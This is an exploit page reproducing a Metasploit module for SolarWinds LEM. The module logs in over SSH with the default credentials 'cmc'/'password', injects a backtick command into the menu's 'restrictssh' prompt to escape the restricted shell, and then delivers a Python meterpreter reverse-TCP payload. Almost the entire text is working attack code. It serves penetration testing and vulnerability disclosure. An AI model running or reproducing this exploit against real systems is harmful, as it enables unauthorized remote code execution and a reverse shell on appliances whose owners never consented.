SolarWind LEM Default SSH Password Remote Code Execution

2017.04.05
Credit: Mehmet Ince
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "SolarWind LEM Default SSH Password Remote Code Execution", 'Description' => %q{ This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH service is accessed with the default username and password which is "cmc" and "password". By exploiting a vulnerability that exist on the menuing script, an attacker can escape from restricted shell. This module was tested against SolarWinds LEM v6.3.1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>', # discovery & msf module ], 'References' => [ ['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/'] ], 'DefaultOptions' => { 'Payload' => 'python/meterpreter/reverse_tcp', }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets' => [ ['Automatic', {}] ], 'Privileged' => false, 'DisclosureDate' => "Mar 17 2017", 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(32022), OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]), OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]), ] ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def exploit factory = ssh_socket_factory opts = { :auth_methods => ['keyboard-interactive'], :port => rport, :use_agent => false, :config => false, :password => password, :proxy => factory, :non_interactive => true } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] print_status("#{rhost}:#{rport} - Attempting to login...") begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, username, opts) end rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials." rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return end if ssh payload_executed = false print_good("SSH connection is established.") ssh.open_channel do |channel| print_status("Requesting pty... We need it in order to interact with menuing system.") channel.request_pty do |ch, success| raise ::RuntimeError, "Could not request pty!" unless success print_good("Pty successfully obtained.") print_status("Requesting a shell.") ch.send_channel_request("shell") do |ch, success| raise ::RuntimeError, "Could not open shell!" unless success print_good("Remote shell successfully obtained.") end end channel.on_data do |ch, data| if data.include? "cmc " print_good("Step 1 is done. Managed to access terminal menu.") channel.send_data("service\n") end if data.include? "service " print_good("Step 2 is done. Managed to select 'service' sub menu.") channel.send_data("restrictssh\n") end if data.include? "Press <enter> to configure restriction on the SSH service to the Manager Appliance" print_good("Step 3 is done. Managed to start 'restrictssh' function.") channel.send_data("*#`bash>&2`\n") end if data.include? "Are the hosts" print_good("Step 4 is done. We are going to try escape from jail shell.") channel.send_data("Y\n") end if data.include? "/usr/local/contego" if payload_executed == false print_good("Sweet..! Escaped from jail.") print_status("Delivering payload...") channel.send_data("python -c \"#{payload.encoded}\"\n") payload_executed = true end end end end begin ssh.loop unless session_created? rescue Errno::EBADF => e elog(e.message) end end end end


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